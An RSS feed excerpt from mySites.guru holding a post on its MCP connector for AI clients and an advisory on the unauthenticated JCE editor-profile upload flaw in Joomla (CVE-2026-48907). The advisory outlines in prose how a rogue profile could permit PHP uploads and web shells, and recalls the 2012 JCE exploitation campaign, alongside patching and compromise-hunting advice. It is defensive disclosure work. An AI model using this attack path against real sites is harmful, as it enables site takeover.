&lt;p&gt;This sits alongside the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; we already shipped. There, you send a flagged file to an AI for a verdict from inside the dashboard. With MCP, the conversation runs the other way: the AI reaches into your account to find the sites worth looking at in the first place.&lt;/p&gt;
&lt;h2&gt;Why it is safe to hand this to an AI&lt;/h2&gt;
&lt;p&gt;Letting an AI client touch production sites sounds alarming until you look at what is actually happening underneath. There is no magic backdoor involved. It runs on the same OAuth flow that lets you &quot;Sign in with&quot; a trusted account elsewhere.&lt;/p&gt;
&lt;p&gt;When you add the connector, the client and mySites.guru run an OAuth 2.1 authorization with PKCE. In plain terms:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You are sent to mySites.guru to log in and approve the connection. The AI client never sees your password.&lt;/li&gt;
&lt;li&gt;The approval mints a token that is scoped to your own sites and stamped for this one connection. It cannot be replayed against anything else.&lt;/li&gt;
&lt;li&gt;Permissions are resolved per user at the moment the token is issued, so a shared client used by many people can never leak one person&apos;s access to another.&lt;/li&gt;
&lt;li&gt;Every authorized connection is listed in your account, and you revoke it with one click.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The net effect: the AI can do exactly what you can do in mySites.guru, against exactly your sites, and nothing more. If you would not be allowed to click it in the dashboard, the AI cannot do it for you either.&lt;/p&gt;
&lt;h2&gt;What this changes for an agency&lt;/h2&gt;
&lt;p&gt;The dashboard is built for doing things. An MCP connection is built for asking things and then doing them without the round trip.&lt;/p&gt;
&lt;p&gt;A morning triage that used to mean opening twenty tabs becomes one message: &quot;Across all my sites, which ones are out of date, have a failed last backup, or flagged suspect files in the most recent audit?&quot; You get a ranked list, and you follow up in the same conversation: &quot;Queue backups for the three with no recent backup, and run a fresh audit on the two with suspect files.&quot;&lt;/p&gt;
&lt;p&gt;What makes this more than a search box is that the assistant interprets what it finds. Ask about one site&apos;s extension updates and it does not just dump a list: it tells you nothing is pending, then flags that the real issue is an end-of-life Joomla core, points at the suspect files the last audit surfaced, and offers to dig deeper. That is the kind of read you would normally do yourself across three screens.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Reporting works the same way. &quot;Give me the CMS and PHP versions for every site tagged acme-corp&quot; is a sentence, not a spreadsheet export. And because the assistant can read &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;tags&lt;/a&gt;, you talk about clients and groups the way you think about them, not by hunting through a list.&lt;/p&gt;
&lt;h3&gt;Build it into your own workflows&lt;/h3&gt;
&lt;p&gt;Because this is a standard MCP connection, it is not just for typing questions by hand. You can wire mySites.guru into your own skills and AI workflows. Build a morning skill in Claude that runs the same triage every day and hands you a ready-made list of the sites that need work, before you have even finished your coffee. Chain it with the other tools and data your AI client already has, so a mySites.guru lookup becomes one step in a larger routine you have built once and run forever. The connection is a building block, and what you assemble from it is up to you.&lt;/p&gt;
&lt;p&gt;None of this replaces the dashboard. The &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click admin login&lt;/a&gt;, the &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerting&lt;/a&gt;, the visual audit reports, all of that is still where it was. MCP is a faster way in for the questions and actions that do not need a screen.&lt;/p&gt;
&lt;h2&gt;A standard, not a lock-in&lt;/h2&gt;
&lt;p&gt;MCP is an open protocol. Anthropic introduced it in late 2024 and then handed governance to the Linux Foundation, with OpenAI, Google, Microsoft and others on board. That matters because it means the connector you set up is not a bet on one vendor. Today Claude Desktop and Claude.ai are the obvious clients, but the same &lt;code&gt;/_mcp&lt;/code&gt; URL works in any client that speaks the protocol, and the list of those grows steadily.&lt;/p&gt;
&lt;p&gt;If you already trust mySites.guru to manage your WordPress and Joomla sites, this is simply a new, faster surface onto the same account. Connect it once, and start asking.&lt;/p&gt;
&lt;h2&gt;Tell us what you want it to do&lt;/h2&gt;
&lt;p&gt;This is a beta, and your feedback is what decides where it goes next. Connect it, put it to work on your real sites, and tell us what felt missing: a tool you wished existed, a question it could not answer, an action you wanted to trigger but could not. The quickest way to shape the next round of tools is to &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;get in touch&lt;/a&gt; and tell us what would make this genuinely useful for the way you work. We are building this with you, not at you, and the sooner we hear from you the more of your wishlist lands in the full release.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://modelcontextprotocol.io/&quot;&gt;Model Context Protocol&lt;/a&gt; - the official specification for the open standard mySites.guru implements.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.anthropic.com/news/model-context-protocol&quot;&gt;Anthropic&apos;s MCP announcement&lt;/a&gt; - the original write-up of why MCP exists and what problem it solves.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://support.claude.com/en/articles/11175166-get-started-with-custom-connectors-using-remote-mcp&quot;&gt;Get started with custom connectors in Claude&lt;/a&gt; - Claude&apos;s own guide to adding a remote MCP connector like this one.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://modelcontextprotocol.io/specification/draft/basic/authorization&quot;&gt;MCP authorization specification&lt;/a&gt; - the OAuth 2.1 and PKCE details behind how the connection is secured.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>mcp</category><category>ai</category><category>claude</category><category>automation</category><category>agency</category><enclosure url="https://mysites.guru/_astro/manage-every-site-from-claude-desktop.DxS8hzuC.png" length="0" type="image/png"/></item><item><title>JCE Free/Pro 2.9.99.5 Patches an Unauthenticated File Upload in Joomla&apos;s Most-Installed Editor</title><link>https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/</link><guid isPermaLink="true">https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/</guid><description>JCE Free and JCE Pro 2.9.99.5 patch an unauthenticated editor profile upload that could be used to upload arbitrary files to the server. Update every Joomla site running JCE now.</description><pubDate>Wed, 03 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The whole story in one place:&lt;/strong&gt; our &lt;a href=&quot;https://mysites.guru/jce-hack/&quot;&gt;JCE Profiles Hack page&lt;/a&gt; is the page of truth for the attack this flaw enables, with the indicators of compromise and the tool that finds and fixes it across every site you manage.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;JCE (Joomla Content Editor) ships on more Joomla sites than any other editor extension. It sits in the top two of our &lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;live extension ranking&lt;/a&gt;, neck and neck with Akeeba Backup. If you look after a stack of Joomla sites, the odds that nearly all of them have JCE installed are very high.&lt;/p&gt;
&lt;p&gt;On 3 June 2026, the JCE developer &lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-5-released&quot;&gt;released &lt;strong&gt;JCE Pro 2.9.99.5&lt;/strong&gt;&lt;/a&gt; and the matching JCE Free 2.9.99.5. The changelog carries one security line, and it is the kind you act on the same day: &lt;strong&gt;insufficient access controls permitted unauthenticated users to upload editor profiles&lt;/strong&gt;, which the developer states could be exploited to upload arbitrary files to the server.&lt;/p&gt;
&lt;p&gt;This is the second JCE security release in a week. The &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-4-security-update/&quot;&gt;2.9.99.4 release on 28 May&lt;/a&gt; patched two bugs that both required a logged-in session. This one does not. That single difference, authenticated to unauthenticated, is what moves it from &quot;patch this week&quot; to &quot;patch now&quot;.&lt;/p&gt;
&lt;p&gt;This post covers what was patched, how the flaw differs from last week&apos;s, what an attacker could do with it, and how to find and update every vulnerable JCE install across the Joomla sites you manage with &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&lt;/a&gt; instead of one administrator panel at a time.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Update: there are newer releases, current is JCE 2.9.99.10&lt;/p&gt;
  &lt;p&gt;After fixing this unauthenticated file upload, the developer ran a full four-day audit of the editor and shipped &lt;strong&gt;JCE 2.9.99.6&lt;/strong&gt; on 8 June, a security hardening release that narrows entry points and tightens input validation across JCE. It was followed by 2.9.99.7 (18 June, an upload-regression fix and group whitelist), &lt;strong&gt;2.9.99.8&lt;/strong&gt; (2 July, a maintenance release that also hardens the File Browser), and &lt;strong&gt;2.9.99.10&lt;/strong&gt; (29 July, an &lt;a href=&quot;https://mysites.guru/blog/jce-2-9-99-10-security-update/&quot;&gt;authenticated file rename fix plus a broad hardening pass&lt;/a&gt;). Do not stop at 2.9.99.5: &lt;strong&gt;update straight to the current 2.9.99.10&lt;/strong&gt;. &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/&quot;&gt;Read the JCE 2.9.99.6 advisory&lt;/a&gt;. The developer has since &lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites&quot;&gt;confirmed active exploitation&lt;/a&gt; and published a free patch for sites that cannot reach the current release (it needs PHP 7.4 and Joomla 3.10+).&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;The short version&lt;/p&gt;
  &lt;p&gt;An unauthenticated visitor could upload an editor profile, and a profile controls what filesystem and upload actions JCE permits. The developer says this could be used to upload arbitrary files to the server. Every Joomla site running JCE is in scope, not just ones with public registration. Update to 2.9.99.5 today.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;JCE Pro 2.9.99.5&lt;/strong&gt; and &lt;strong&gt;JCE Free 2.9.99.5&lt;/strong&gt; released 3 June 2026&lt;/li&gt;
&lt;li&gt;Fixes insufficient access controls that let &lt;strong&gt;unauthenticated&lt;/strong&gt; users upload editor profiles, which the developer says could be exploited to upload arbitrary files to the server&lt;/li&gt;
&lt;li&gt;Affects &lt;strong&gt;all versions of JCE Free and JCE Pro before 2.9.99.5&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;This is a &lt;strong&gt;separate, more serious flaw&lt;/strong&gt; than the authenticated-only bugs patched in 2.9.99.4 a week earlier, not a reopening of them&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No login is required&lt;/strong&gt;, so every Joomla site with JCE is exposed regardless of registration settings&lt;/li&gt;
&lt;li&gt;Tracked as &lt;strong&gt;CVE-2026-48907&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Runs natively on Joomla 3, 4, 5, and 6 without the Backwards Compatibility plugin&lt;/li&gt;
&lt;li&gt;Reported by Uwe Flottemesch of fc-hosting.de, with assistance from David Jardin, lead of the Joomla Security Strike Team&lt;/li&gt;
&lt;li&gt;Update via the Joomla Update Manager or the &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads&quot;&gt;JCE downloads area&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If you manage multiple sites, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mySites.guru&apos;s mass updater&lt;/a&gt; pushes the update to every affected site in one batch&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What was patched in JCE 2.9.99.5?&lt;/h2&gt;
&lt;p&gt;The security line in the &lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-5-released&quot;&gt;2.9.99.5 changelog&lt;/a&gt; reads, verbatim:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Insufficient access controls permitted unauthenticated users to upload editor profiles.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The release announcement adds that the flaw &quot;could be exploited to upload arbitrary files to the server.&quot; To see why those two sentences belong together, you need a quick refresher on what an Editor Profile actually is.&lt;/p&gt;
&lt;h3&gt;A quick tour of JCE Editor Profiles&lt;/h3&gt;
&lt;p&gt;JCE&apos;s defining feature is its Editor Profiles system. Rather than handing every logged-in user the same editor, JCE lets an administrator define different profiles for different user groups. A registered user might get a stripped-down toolbar with no file uploads. A content editor might get image and file managers scoped to one media directory. A super user gets the full editor with broad file operations.&lt;/p&gt;
&lt;p&gt;Each profile defines:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Which toolbar buttons are visible&lt;/li&gt;
&lt;li&gt;Which file types can be uploaded&lt;/li&gt;
&lt;li&gt;Which directories the editor can browse and upload into&lt;/li&gt;
&lt;li&gt;Which advanced features (templates, code view, and so on) are exposed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A profile is, in effect, a set of filesystem permissions wearing an editor&apos;s clothes. Control the profile and you control what file operations JCE will carry out.&lt;/p&gt;
&lt;h3&gt;Why an unauthenticated profile upload is the dangerous part&lt;/h3&gt;
&lt;p&gt;The 2.9.99.5 flaw was an access control gap on the action that uploads (imports) an editor profile. Before the patch, that action did not properly check that the request came from an authorised, logged-in user. An unauthenticated request could reach it.&lt;/p&gt;
&lt;p&gt;Put those two facts next to each other. If an anonymous actor can upload a profile, and a profile dictates which file types may be uploaded and into which directories, the attacker can define a profile permissive enough to allow the upload they want, then use it. That is the path the developer is pointing at with &quot;upload arbitrary files to the server.&quot;&lt;/p&gt;
&lt;p&gt;The vendor has not published a proof of concept, the exact controller and task, or a confirmed remote code execution chain, so treat the arbitrary-file-upload outcome as the realistic risk the patch closes rather than a demonstrated exploit. The flaw has since been assigned &lt;strong&gt;CVE-2026-48907&lt;/strong&gt;. The mechanism does not need a working public exploit to deserve same-day patching. Unauthenticated plus file upload is a combination you close immediately and ask questions later.&lt;/p&gt;
&lt;h2&gt;How 2.9.99.5 differs from last week&apos;s 2.9.99.4&lt;/h2&gt;
&lt;p&gt;It is reasonable to assume a second JCE release in a week means the first fix was incomplete. That is not what happened here. The two releases address different vulnerabilities in the same area of code.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;JCE 2.9.99.4 (28 May)&lt;/th&gt;
&lt;th&gt;JCE 2.9.99.5 (3 June)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Authentication&lt;/td&gt;
&lt;td&gt;Required a logged-in session&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;None required&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected area&lt;/td&gt;
&lt;td&gt;File browser&lt;/td&gt;
&lt;td&gt;Editor profile upload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What it fixed&lt;/td&gt;
&lt;td&gt;Editor Profile access check plus a directory traversal in filesystem search&lt;/td&gt;
&lt;td&gt;Access control on the profile upload action&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;Moderate, bounded by profile permissions&lt;/td&gt;
&lt;td&gt;High, unauthenticated path to file upload&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-4-security-update/&quot;&gt;2.9.99.4 release&lt;/a&gt; tightened the file browser: it stopped an authenticated user from invoking actions through an Editor Profile they were not assigned to, and it closed a directory traversal in the filesystem search. Both required an account. The 2.9.99.5 release closes a different door, the one that lets a profile be uploaded in the first place, and that door was open to anyone.&lt;/p&gt;
&lt;p&gt;The two clearly come from the same coordinated review of JCE&apos;s profile and filesystem handling, which is a good thing. A thorough audit of one component tends to surface a cluster of related issues, and JCE&apos;s developer has shipped fixes for the lot within days of each report.&lt;/p&gt;
&lt;h2&gt;A note on JCE&apos;s history with file uploads&lt;/h2&gt;
&lt;p&gt;There is a reason an unauthenticated file upload in JCE specifically should make you move quickly, and it is not the 2026 bug. It is the 2012 one.&lt;/p&gt;
&lt;p&gt;Back in 2012, an unauthenticated arbitrary file upload in JCE&apos;s ImageManager (tracked as CVE-2012-2902) became one of the most widely exploited Joomla vulnerabilities of its era. Automated bots scanned the internet for vulnerable JCE installs, uploaded an innocuous-looking image file, then renamed it to a &lt;code&gt;.php&lt;/code&gt; extension to drop a web shell. Security vendors including Sucuri and Trustwave documented the campaign, and it shipped as a ready-made module in Metasploit. Sites were still being compromised through it years after the patch existed, purely because so many were never updated.&lt;/p&gt;
&lt;p&gt;The 2026 issue is a separate, newly patched flaw, and there is no evidence anyone is exploiting it as this post goes out. The history matters because of what it shows: when an unauthenticated JCE file-upload bug meets a long tail of installs nobody updated, you get mass, automated, opportunistic compromise. Nothing to panic about today. Plenty of reason not to be the site still running a vulnerable JCE in six months.&lt;/p&gt;
&lt;h2&gt;What an attacker could do, and what they could not&lt;/h2&gt;
&lt;p&gt;What the patch closes is an unauthenticated route to uploading an editor profile, and from there potentially to uploading files the site never intended to accept. On a site where that chain reaches an executable location, the worst case is the familiar one: a web shell, persistent backdoor access, and a site that needs a full clean rather than an update. That is no longer hypothetical: we later found &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;exactly this attack on a live Joomla site&lt;/a&gt;, a rogue editor profile built to permit php uploads with the webshells it was used to drop still sitting on disk.&lt;/p&gt;
&lt;p&gt;What the advisory does not claim is a turnkey, one-request remote code execution with a published exploit. There is no public PoC in circulation. What it does describe is an unauthenticated way in and a file-upload outcome the vendor has named outright, now tracked as CVE-2026-48907. That is enough. You update to close it rather than wait to find out, on a site you manage, how far the chain actually reaches.&lt;/p&gt;
&lt;p&gt;This puts 2.9.99.5 in a different and more urgent category than 2.9.99.4, and alongside genuinely unauthenticated Joomla issues like the Smart Slider 3 &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;arbitrary file read&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework&apos;s&lt;/a&gt; file inclusion, rather than the authenticated-only bugs from last week.&lt;/p&gt;
&lt;h2&gt;How to update JCE on a single Joomla site&lt;/h2&gt;
&lt;p&gt;For one site, the update is routine. Joomla&apos;s built-in extension update tooling will pick up 2.9.99.5 as soon as the JCE update server publishes it, which it has.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to the Joomla administrator&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;System -&amp;gt; Update -&amp;gt; Extensions&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Check for Updates&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Select the JCE row&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Update&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If the update does not appear, check that JCE&apos;s update site is enabled under &lt;strong&gt;System -&amp;gt; Update -&amp;gt; Update Sites&lt;/strong&gt;. For JCE Pro, you also need a valid subscription key entered under &lt;strong&gt;Components -&amp;gt; JCE Editor -&amp;gt; Options -&amp;gt; Subscription Key&lt;/strong&gt; for the Pro update channel to be reachable. JCE Free pulls updates from the Joomla extension feed and needs no key.&lt;/p&gt;
&lt;p&gt;After updating, hard-refresh the editor in a logged-in session to flush cached JCE assets. The version under &lt;strong&gt;Components -&amp;gt; JCE Editor&lt;/strong&gt; should read 2.9.99.5 once you reload.&lt;/p&gt;
&lt;h2&gt;How to find every Joomla site with a vulnerable JCE using mySites.guru&lt;/h2&gt;
&lt;p&gt;That is the easy case. The hard case is &quot;I look after 40 client Joomla sites, and an unauthenticated file upload just got patched. Which of them are still vulnerable, right now?&quot;&lt;/p&gt;
&lt;p&gt;That is what mySites.guru is built for. Twice a day, a snapshot runs against every connected Joomla site and indexes every installed extension, including its exact version. You can answer the JCE 2.9.99.5 question in seconds instead of logging into 40 administrator panels in sequence.&lt;/p&gt;
&lt;p&gt;Open the &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;extension search&lt;/a&gt; in your dashboard and look up the &lt;strong&gt;Editor - JCE&lt;/strong&gt; entry. You see every version of JCE across your portfolio, grouped by version number, with each site that runs it listed underneath. Anything on 2.9.99.4 or earlier needs the update. Sites already on 2.9.99.5, or which auto-updated overnight, are green.&lt;/p&gt;
&lt;p&gt;You can also separate JCE Free from JCE Pro if you run a mixed estate. Both editions ship the same fix in 2.9.99.5 from the same update server, but Pro is gated by a subscription key, so it helps to know which sites sit in which group when you start chasing the stragglers.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru subscribers: jump straight to the JCE inventory&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/f02a3f0cd799f8a68b2e207ecf0da3a4&quot;&gt;Open JCE Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every JCE install across your connected Joomla sites, grouped by version. Anything on 2.9.99.4 or earlier needs the 2.9.99.5 patch. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Push 2.9.99.5 across every affected site in one batch&lt;/h2&gt;
&lt;p&gt;Once you know which sites are vulnerable, you do not patch them one by one. The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass extension updater&lt;/a&gt; lets you select every site running an outdated JCE and trigger the update across all of them at once.&lt;/p&gt;
&lt;p&gt;The mass update screen groups every JCE install by the version it can update to, with an &quot;Apply to all&quot; button per group and per-site controls when you want to be selective. Sites stuck on much older branches (2.6, 2.7, 2.8) get patched in the same sweep as ones already on the 2.9.99.x line. Behind the scenes, the platform calls each site&apos;s connector, pulls the 2.9.99.5 package from JCE&apos;s update server, installs it, and reports back with a pass or fail per site and a log entry against the site. Any site that is offline, firewalled, or running an outdated connector surfaces as a clear failure rather than a silent miss.&lt;/p&gt;
&lt;p&gt;For agencies running &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled automation&lt;/a&gt;, JCE updates can be enrolled in the same overnight extension auto-update flow as everything else. The &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic Updates for Any Joomla Extension&lt;/a&gt; feature already covers JCE Free and JCE Pro through Joomla&apos;s native extension update API.&lt;/p&gt;
&lt;h3&gt;Sites with auto-updates enabled were patched overnight&lt;/h3&gt;
&lt;p&gt;This is exactly the scenario automatic extension updates exist for. The mySites.guru auto-updater pushes security releases like 2.9.99.5 to opted-in Joomla sites without anyone logging in. If your sites are enrolled, the patch has landed, the version is verified, and an audit entry is sitting in the activity log. If they are not, an unauthenticated file upload in your most-installed editor is a good reason to change that. Turn on automatic extension updates and the next time a popular extension ships a security fix, you wake up to &quot;done&quot; rather than &quot;to do.&quot; &lt;a href=&quot;https://manage.mysites.guru/&quot;&gt;Enable auto-updates from your dashboard&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;start a free trial&lt;/a&gt; if you do not have an account yet.&lt;/p&gt;
&lt;h2&gt;How quickly should you patch JCE 2.9.99.5?&lt;/h2&gt;
&lt;p&gt;Faster than you patched 2.9.99.4. Because this flaw is unauthenticated, the usual &quot;only sites with registered users are at risk&quot; reasoning does not apply. Any Joomla site with JCE installed is in scope.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Patch today&lt;/strong&gt; on any site that is publicly reachable and runs JCE, which is almost all of them. There is no functional change in 2.9.99.5 that would justify holding back, and the update is free and config-free for both Free and Pro.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Patch within 24 to 48 hours&lt;/strong&gt; at the outside, even for low-traffic brochure sites with no registration. &quot;No registered users&quot; was a mitigating factor for 2.9.99.4. It is not one here.&lt;/p&gt;
&lt;p&gt;The risk calculus on an unauthenticated file upload is simple. Applying a clean security patch with no functional changes carries essentially no risk. Leaving it unpatched carries whatever a passing automated scanner decides to do with it, multiplied across every site you have not got to yet. JCE&apos;s own 2012 history is the cautionary tale.&lt;/p&gt;
&lt;h2&gt;Edge cases and gotchas&lt;/h2&gt;
&lt;p&gt;A few things to watch when rolling 2.9.99.5 across an estate.&lt;/p&gt;
&lt;h3&gt;Lapsed JCE Pro subscriptions&lt;/h3&gt;
&lt;p&gt;Both editions pull updates from JCE&apos;s own update server, not the Joomla Extensions Directory. The catch for Pro is the subscription key. If a Pro install&apos;s subscription has lapsed, 2.9.99.5 will not appear in that site&apos;s update list and the site sits silently on the vulnerable version. The fix is to renew, or to drop a temporary key into the site, pull the security release, then sort the renewal afterwards. A practical move is to scan your mySites.guru extension report 48 hours after release for any JCE Pro install still below 2.9.99.5. Those are almost certainly the lapsed subscriptions.&lt;/p&gt;
&lt;h3&gt;Sites still on JCE branches older than 2.9&lt;/h3&gt;
&lt;p&gt;A JCE 2.7.x or 2.8.x install on a long-tail Joomla 3 site is far more exposed than this single advisory implies. The 2.9.99.5 fix is for the current branch. Those older 2.7.x and 2.8.x lines have not received it and carry years of unpatched issues on top. The right answer is to bring both Joomla and JCE up to date together. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;migration tooling&lt;/a&gt; helps triage which sites need the most work. If a client genuinely refuses to modernise, at minimum disable JCE on that site and fall back to TinyMCE or CodeMirror until it can be brought current.&lt;/p&gt;
&lt;p&gt;JCE 2.6.x is a special case: the developer confirms it is not affected by this unauthenticated upload in a default configuration, because the import path is blocked and no guest-accessible profile exists by default. It is still unsupported, so plan to migrate it, but it does not carry this specific flaw.&lt;/p&gt;
&lt;h3&gt;For sites that cannot update: the free patch&lt;/h3&gt;
&lt;p&gt;The current patched release, 2.9.99.10, needs PHP 7.4 and Joomla 3.10 or later. For sites that genuinely cannot meet that yet, the JCE developer has released a &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/editor/security-patch&quot;&gt;free patch package&lt;/a&gt; that closes this unauthenticated upload vulnerability in JCE 2.7.x, 2.8.x and 2.9.x. Treat it as a stopgap: it closes the vulnerability only, without the later hardening from 2.9.99.6 onward, it is provided as-is, and it does not clean a site that was already compromised. Back up and test on a copy first, and still plan to move to a supported Joomla and PHP version, since end-of-life PHP or Joomla leaves the site exposed to other unpatched issues regardless.&lt;/p&gt;
&lt;h3&gt;Custom Editor Profiles with broad filesystem access&lt;/h3&gt;
&lt;p&gt;If you previously set up an Editor Profile with broad filesystem access (the whole &lt;code&gt;images/&lt;/code&gt; tree, or worse), audit it after updating. The 2.9.99.5 patch closes the unauthenticated upload route, but least privilege still applies. A profile with broad file permissions remains a high-value target for whatever the next JCE issue turns out to be. Review every profile under &lt;strong&gt;Components -&amp;gt; JCE Editor -&amp;gt; Editor Profiles&lt;/strong&gt; on each site and lock each one to the narrowest path that still lets its user group work.&lt;/p&gt;
&lt;h3&gt;Checking for signs of compromise&lt;/h3&gt;
&lt;p&gt;Unlike the authenticated 2.9.99.4 bugs, this one leaves a fingerprint you can hunt for, because the malicious request needs no session. A retrospective audit on a higher-risk site looks like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Pull the last 90 days of web server access logs and look for requests to JCE&apos;s profile and filesystem endpoints, including upload or import actions, that carry no Joomla session cookie. Unauthenticated requests are the ones that matter here.&lt;/li&gt;
&lt;li&gt;Audit your &lt;code&gt;images/&lt;/code&gt;, &lt;code&gt;media/&lt;/code&gt;, and any custom upload roots for files you did not put there, especially anything with a script extension or a recent timestamp that does not match a known change.&lt;/li&gt;
&lt;li&gt;Look for unexpected files anywhere a profile upload could have reached, not only the obvious media directories.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If anything looks deliberate, treat the site as a suspected compromise: rotate Joomla secrets, invalidate active sessions, and run mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; against the site to surface backdoors and modified files. For most sites the audit comes up empty, which is the point. Close the chapter deliberately rather than assuming nothing happened because nothing was reported.&lt;/p&gt;
&lt;h3&gt;JCE and the Joomla Backwards Compatibility plugin&lt;/h3&gt;
&lt;p&gt;The 2.9.99 branch is native to Joomla 5 and 6 and does not need the Backwards Compatibility plugin. If JCE is the only reason BC is enabled on a site, you can disable BC once 2.9.99.5 is in place, provided your other extensions are also BC-free. For an estate-wide audit of which sites still need BC, see our &lt;a href=&quot;https://mysites.guru/blog/joomla-compat-plugin-is-a-crutch/&quot;&gt;Joomla compat plugin is a crutch&lt;/a&gt; write-up.&lt;/p&gt;
&lt;h2&gt;Does this affect WordPress?&lt;/h2&gt;
&lt;p&gt;No. JCE is a Joomla-only editor extension. There is no WordPress build of JCE Pro or JCE Free, no shared codebase, and no equivalent advisory for WordPress. WordPress sites use the core block editor or TinyMCE, which have their own separate histories. If you run a mixed estate, the WordPress half is unaffected by this advisory. The Joomla half needs the update.&lt;/p&gt;
